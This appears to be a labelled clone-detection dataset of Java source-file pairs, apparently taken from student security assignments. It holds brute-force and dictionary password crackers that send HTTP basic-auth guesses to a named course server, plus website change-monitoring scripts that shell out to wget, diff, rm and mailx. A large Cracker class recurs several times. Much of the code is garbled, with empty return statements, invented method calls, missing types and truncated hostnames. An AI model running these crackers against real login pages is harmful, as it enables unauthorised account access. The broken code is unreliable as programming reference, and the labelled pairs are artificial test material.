String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
124.java | 207.java | 0 |
import java.text.*;
import java.util.*;
import java.net.*;
import java.io.*;
public class Dictionary {
public int runProcess(String urlString,String passwd) {
System.out.println("Checking password: ... " + passwd);
int returnval = 0;
MyAuthenticator auth = new MyAuthenticator(passwd);
Authenticator.setDefault(auth);
try{
URL yahoo = new URL(urlString);
BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));
String inputLine;
while ((inputLine = in.readLine()) != null) {
System.out.println(inputLine);
System.out.println("password: " + passwd);
returnval = 1;
}
in.print();
}catch(Exception e){ returnval = 0;}
return returnval;
}
public static void main (String argv[]) {
int retval = 0;
String pwd = "";
String inFile = "/usr/share/lib/dict/words";
BufferedReader in = null;
String line1 ="";
try {
Dictionary s = new Dictionary();
String urlToSearch = "http://sec-crack.cs.rmit.edu./SEC/2/";
in = new BufferedReader(new FileReader(inFile));
while ((line1=in.readLine()) != null) {
retval = 0;
pwd = line1;
retval = s.runProcess(urlToSearch,pwd);
if (retval > 0) {
System.exit(0);
}
}
}catch(Exception e)
{ e.printStackTrace();}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
191.java | 207.java | 0 |
import java.io.IOException;
import java.net.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
static String strLetter[];
static URL url = null;
static URLConnection urlConnection;
static InputStream urlStream;
static String strExceptionPassword[];
static int intExceptionCount = -1;
static int intNumberOfConnectionAttempts = 0;
static String username = "";
static String strLastPasswordTested;
public static void main (String args[])
{
Calendar calStart;
Calendar calFinish;
Date dateStart;
Date dateFinish;
lngStart;
lngFinish;
calStart = new GregorianCalendar();
dateStart = calStart.getTime();
lngStart = dateStart.getTime();
System.out.println();
System.out.println();
populateArray();
boolean boolPasswordFound = false;
boolean boolExceptionPasswordsTestedAgain = false;
String strPasswd;
String urlString
= "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
int intCounter1 = 0;
int intCounter2 = 0;
int intCounter3 = 0;
int intArrayLength = strLetter.length;
strExceptionPassword = new String[5000];
if (!boolPasswordFound)
{
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
{
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound(urlString,
strLetter[intCounter1],
boolPasswordFound);
intCounter1++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
{
intCounter2 = 0;
while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) )
{
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound
(urlString,
strLetter[intCounter1]
+ strLetter[intCounter2],
boolPasswordFound);
intCounter2++;
}
intCounter1++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
{
intCounter2 = 0;
while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) )
{
intCounter3 = 0;
while ( (!boolPasswordFound) && (intCounter3 < intArrayLength) )
{
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound
(urlString,
strLetter[intCounter1]
+ strLetter[intCounter2]
+ strLetter[intCounter3],
boolPasswordFound);
intCounter3++;
}
intCounter2++;
}
intCounter1++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )
{
boolExceptionPasswordsTestedAgain = true;
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound(urlString,
strExceptionPassword[intCounter1],
boolPasswordFound);
intCounter1++;
}
}
System.out.println();
calFinish = new GregorianCalendar();
dateFinish = calFinish.getTime();
lngFinish = dateFinish.getTime();
System.out.println();
System.out.println();
System.out.println();
System.out.println("Length of time for processing: " +
((lngFinish - lngStart) / 1000) +
" seconds");
System.out.println();
System.out.println("Number of connection attempts = " + intNumberOfConnectionAttempts);
System.out.println();
System.out.println("Number of exceptions thrown = " + (intExceptionCount + 1));
if (intExceptionCount >= 0)
{
System.out.print("These EXCEPTION passwords WERE ");
if (boolExceptionPasswordsTestedAgain)
System.out.print("tested again.");
else
System.out.print("NOT tested again.");
System.out.println();
}
System.out.println();
if (boolPasswordFound)
{
System.out.println("The correct password WAS found - this password is '" +
strLastPasswordTested + "'.");
}
else
{
System.out.println("The correct password WAS NOT found.");
}
System.out.println();
}
static void populateArray()
{
strLetter = new String[52];
strLetter[0] = "a";
strLetter[1] = "b";
strLetter[2] = "c";
strLetter[3] = "d";
strLetter[4] = "e";
strLetter[5] = "f";
strLetter[6] = "g";
strLetter[7] = "h";
strLetter[8] = "i";
strLetter[9] = "j";
strLetter[10] = "k";
strLetter[11] = "l";
strLetter[12] = "m";
strLetter[13] = "n";
strLetter[14] = "o";
strLetter[15] = "p";
strLetter[16] = "q";
strLetter[17] = "r";
strLetter[18] = "s";
strLetter[19] = "t";
strLetter[20] = "u";
strLetter[21] = "v";
strLetter[22] = "w";
strLetter[23] = "x";
strLetter[24] = "y";
strLetter[25] = "z";
strLetter[26] = "A";
strLetter[27] = "B";
strLetter[28] = "C";
strLetter[29] = "D";
strLetter[30] = "E";
strLetter[31] = "F";
strLetter[32] = "G";
strLetter[33] = "H";
strLetter[34] = "I";
strLetter[35] = "J";
strLetter[36] = "K";
strLetter[37] = "L";
strLetter[38] = "M";
strLetter[39] = "N";
strLetter[40] = "O";
strLetter[41] = "P";
strLetter[42] = "Q";
strLetter[43] = "R";
strLetter[44] = "S";
strLetter[45] = "T";
strLetter[46] = "U";
strLetter[47] = "V";
strLetter[48] = "W";
strLetter[49] = "X";
strLetter[50] = "Y";
strLetter[51] = "Z";
}
static boolean passwordWasFound(String urlString,
String password,
boolean retVal)
{
String strEncodeInput = username + ":" + password;
boolean returnValue = retVal;
boolean boolExceptionThrown = false;
try
{
strLastPasswordTested = password;
intNumberOfConnectionAttempts++;
url = new URL(urlString);
String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());
System.out.print("username = " +
username +
" " +
"password = " +
password);
HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection();
urlConnection.setRequestProperty("Authorization",
" " + encoding);
System.out.println(" response = " + urlConnection.getResponseCode());
if (urlConnection.getResponseCode() == 401)
{
returnValue = false;
}
}
catch (MalformedURLException m)
{
boolExceptionThrown = true;
returnValue = false;
System.err.println(m);
System.out.println("Malformed URL Exception error");
}
catch (IOException io)
{
boolExceptionThrown = true;
returnValue = false;
System.out.println("IOException error");
System.err.println(io);
}
catch (Exception e)
{
boolExceptionThrown = true;
returnValue = false;
System.out.println("General exception.....");
System.err.println(e);
}
finally
{
urlConnection = null;
url = null;
}
if (boolExceptionThrown)
{
intExceptionCount++;
strExceptionPassword[intExceptionCount] = password;
}
return returnValue;
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
001.java | 207.java | 0 |
import java.io.*;
class WatchDog {
public static void main(String args[]){
Calls c = new Calls();
c.retrieveFile("students/");
c.retrieveFile("images/newcsitlogo.jpg");
c.retrieveFile("images/rmitcsit.jpg");
c.retrieveFile("images/helix.jpg");
String checksum = c.getChecksum("index.html");
String imgchecksum1 = c.getChecksum("newcsitlogo.jpg");
String imgchecksum3 = c.getChecksum("rmitcsit.jpg");
String imgchecksum5 = c.getChecksum("helix.jpg");
System.out.println("Checksum of original file " +checksum);
System.out.println("Checksum of image 1 " +imgchecksum1);
System.out.println("Checksum of image 2" +imgchecksum3);
System.out.println("Checksum of image 3" +imgchecksum5);
for(int x = 0; x < 3;x++){
System.out.println("Watchdog switching sleep state -> 24hrs");
try{
Thread.sleep(86400000);
}
catch(Exception e){
System.out.println("Exception in sleep: "+e);
}
System.out.println("Watchdog switching running state");
c.retrieveFile("students/");
c.retrieveFile("images/newcsitlogo.jpg");
c.retrieveFile("images/rmitcsit.jpg");
c.retrieveFile("images/helix.jpg");
String newchecksum = c.getChecksum("index.html.1");
String newimgchecksum1 = c.getChecksum("newcsitlogo.jpg.1");
String newimgchecksum3 = c.getChecksum("rmitcsit.jpg.1");
String newimgchecksum5 = c.getChecksum("helix.jpg.1");
System.out.println("Checksum of new " +newchecksum);
System.out.println("Checksum of new image 1 " +newimgchecksum1);
System.out.println("Checksum of new image 2" +newimgchecksum3);
System.out.println("Checksum of new image 3" +newimgchecksum5);
if(newchecksum.equals(checksum) && newimgchecksum1.equals(imgchecksum1) && newimgchecksum3.equals(imgchecksum3) && newimgchecksum5.equals(imgchecksum5))
System.out.println(" Changes Detected ");
else{
System.out.println("Changes Detected ");
c.spotDiff();
c.mail();
}
c.deletePage("index.html.1");
c.deletePage("newcsitlogo.jpg.1*");
c.deletePage("rmitcsit.jpg.1*");
c.deletePage("helix.jpg.1*");
}
}
}
class Calls{
public void retrieveFile(String file){
try{
Process p = Runtime.getRuntime().exec("wget -nv http://www.cs.rmit.edu./" +file);
InputStream is = p.getErrorStream();
BufferedReader bf = new BufferedReader(new InputStreamReader(is));
String tempLine="";
tempLine = bf.readLine();
System.out.println(tempLine);
}
catch(Exception e){
System.out.println("Exc in retrievePage() " +e);
}
}
public String getChecksum(String cadena) {
String tempLine="";
try{
Process p = Runtime.getRuntime().exec("/usr/local//md5sum " + cadena);
InputStream is = p.getInputStream();
BufferedReader bf = new BufferedReader(new InputStreamReader(is));
tempLine = bf.readLine();
}
catch(Exception e){
System.out.println(e);
}
return tempLine.substring(0,32);
}
public void deletePage(String temp) {
String [] cad= new String[3];
cad[0]="//sh";
cad[1]="-c";
cad[2]="rm " + temp;
String tempLine="";
try{
Process p = Runtime.getRuntime().exec();
}
catch(Exception e){
System.out.println(e);
}
}
public void spotDiff(){
String tempLine="";
try{
FileWriter fwr = new FileWriter("report.txt");
BufferedWriter bwr = new BufferedWriter(fwr);
PrintWriter pwr = new PrintWriter(bwr);
Process p = Runtime.getRuntime().exec("diff .html .html.1");
InputStream is = p.getInputStream();
BufferedReader bf = new BufferedReader(new InputStreamReader(is));
pwr.println("Changes in index.html");
pwr.flush();
while((tempLine = bf.readLine())!=null)
{
System.out.println(tempLine);
pwr.println(tempLine);
pwr.flush();
}
pwr.println("------------------------------------------------");
pwr.flush();
pwr.println("Changes in Images");
pwr.flush();
Process p1 = Runtime.getRuntime().exec("diff newcsitlogo.jpg newcsitlogo.jpg.1");
InputStream ist = p1.getInputStream();
BufferedReader bre = new BufferedReader(new InputStreamReader(ist));
while((tempLine = bre.readLine())!=null)
{
System.out.println(tempLine);
pwr.println(tempLine);
pwr.flush();
}
Process p3 = Runtime.getRuntime().exec("diff rmitcsit.jpg rmitcsit.jpg.1");
InputStream ist2 = p3.getInputStream();
BufferedReader bre2 = new BufferedReader(new InputStreamReader(ist2));
while((tempLine = bre2.readLine())!=null)
{
System.out.println(tempLine);
pwr.println(tempLine);
pwr.flush();
}
Process p5 = Runtime.getRuntime().exec("diff helix.jpg helix.jpg.1");
InputStream ist4 = p5.getInputStream();
BufferedReader bre4 = new BufferedReader(new InputStreamReader(ist4));
while((tempLine = bre4.readLine())!=null)
{
System.out.println(tempLine);
pwr.println(tempLine);
pwr.flush();
}
}
catch(Exception e){
System.out.println("Exception Spot Difference : " +e);
}
}
public void mail(){
String mail[] = new String[3];
mail[0]="//sh";
mail[1]="-c";
mail[2]="mailx @cs.rmit.edu. < report.txt";
try{
Process p = Runtime.getRuntime().exec(mail);
}
catch(Exception e){
System.out.println("Exception mail: " +e);
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
088.java | 207.java | 0 | import java.io.*;
import java.net.*;
import java.security.*;
import java.math.*;
import java.*;
import java.util.*;
public class WatchDog
{
public static FileWriter out = null, output = null;
public static void main (String args[]) throws Exception {
Socket socket = null;
DataOutputStream = null;
BufferedReader bf = null, fr = null;
String retVal = null, StatusCode = "HTTP/1.1 200 OK";
int dirty = 0, count = 0;
stime = System.currentTimeMillis();
System.out.println("Detecting the changes...");
try {
URL yahoo = new URL("http://www.cs.rmit.edu./students/");
URLConnection yc = yahoo.openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(
yc.getInputStream()));
String inputLine;
try {
out = new FileWriter("newstudent");
while ((inputLine = in.readLine()) != null){
out.write(inputLine + "\n");
}
} catch (IOException ex) {
ex.printStackTrace();
}
in.print();
out.print();
dirty = diff();
if (dirty == 1){
sendMail();
System.out.println("Changes detected and email sent!");
}
if (diffimages() == 1){
sendMail();
System.out.println("Images modification detected and email sent!");
}
updatePage();
System.out.println("** End of WatchDog checking **");
} catch (Exception ex) {
ex.printStackTrace();
}
}
public static int diff()
{
int update = 0;
try{
Process process = Runtime.getRuntime().exec("diff -b RMITCSStudent newstudent");
BufferedReader pr = new BufferedReader(
new InputStreamReader(
process.getInputStream()));
output = new FileWriter("output");
String inputLine;
while ((inputLine = pr.readLine()) != null){
output.write(inputLine + "\n");
update = 1;
}
output.promt();
}catch (Exception ex){
ex.printStackTrace();
}
return update;
}
public static int diffimages()
{
int update = 0;
String image;
try{
Process primages = Runtime.getRuntime().exec("./images.sh");
wait(1);
File imageFile = new File("imagesname");
BufferedReader fr = new BufferedReader(new FileReader(imageFile));
output = new FileWriter("output");
while ((image = fr.readLine()) != null) {
primages = Runtime.getRuntime().exec("diff " + image + " o"+image);
BufferedReader pr = new BufferedReader(
new InputStreamReader(
primages.getInputStream()));
String inputLine;
while ((inputLine = pr.readLine()) != null){
output.write(inputLine + "\n");
update = 1;
}
}
output.print();
fr.close();
}catch (Exception ex){
ex.printStackTrace();
}
return update;
}
public static void sendMail()
{
try{
Process mailprocess = Runtime.getRuntime().exec("./email.sh");
}catch (Exception ex){
ex.printStackTrace();
}
}
public static void updatePage()
{
String image;
try{
Process updateprocess = Runtime.getRuntime().exec("cp newstudent RMITCSStudent");
Process deleteprocess = Runtime.getRuntime().exec("rm newstudent");
File inputFile = new File("imagesname");
BufferedReader fr = new BufferedReader(new FileReader(inputFile));
while ((image = fr.readLine()) != null) {
updateprocess = Runtime.getRuntime().exec("cp " + image + " o" + image);
deleteprocess = Runtime.getRuntime().exec("rm " + image);
}
fr.close();
}catch (Exception ex){
ex.printStackTrace();
}
}
public static void wait(int time){
int timer, times;
timer = System.currentTimeMillis();
times = (time * 1000) + timer;
while(timer < times)
timer = System.currentTimeMillis();
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
049.java | 207.java | 0 | import java.net.*;
import java.io.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class ReadFile
{
private StringTokenizer tokenizer;
private BufferedReader bf;
private String line;
private String first;
Vector in = new Vector();
public void loadFile()throws NoSuchElementException, IOException
{
System.out.println("in loadFile");
try{
bf = new BufferedReader(new FileReader("words"));
}
catch(FileNotFoundException fe){}
catch(IOException io){}
while((line = bf.readLine())!=null)
{
int index = 0;
tokenizer = new StringTokenizer(line);
try
{
first = tokenizer.nextToken();
if (first.length() == 3)
{
in.add(first);
}
}
catch(NoSuchElementException n)
{
System.out.println("File Loaded Succesfully");
}
}
}
public Vector getVector()
{
return in;
}
public static void main (String args[])
{
Vector v = new Vector();
try
{
System.out.println("in ");
ReadFile rf = new ReadFile();
rf.loadFile();
v = rf.getVector();
}
catch(IOException e)
{
System.out.println(e);
}
System.out.println("size:" + v.size());
for (int i = 0; i< v.size(); i++)
{
System.out.println(i+1+ ":" + v.elementAt(i));
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
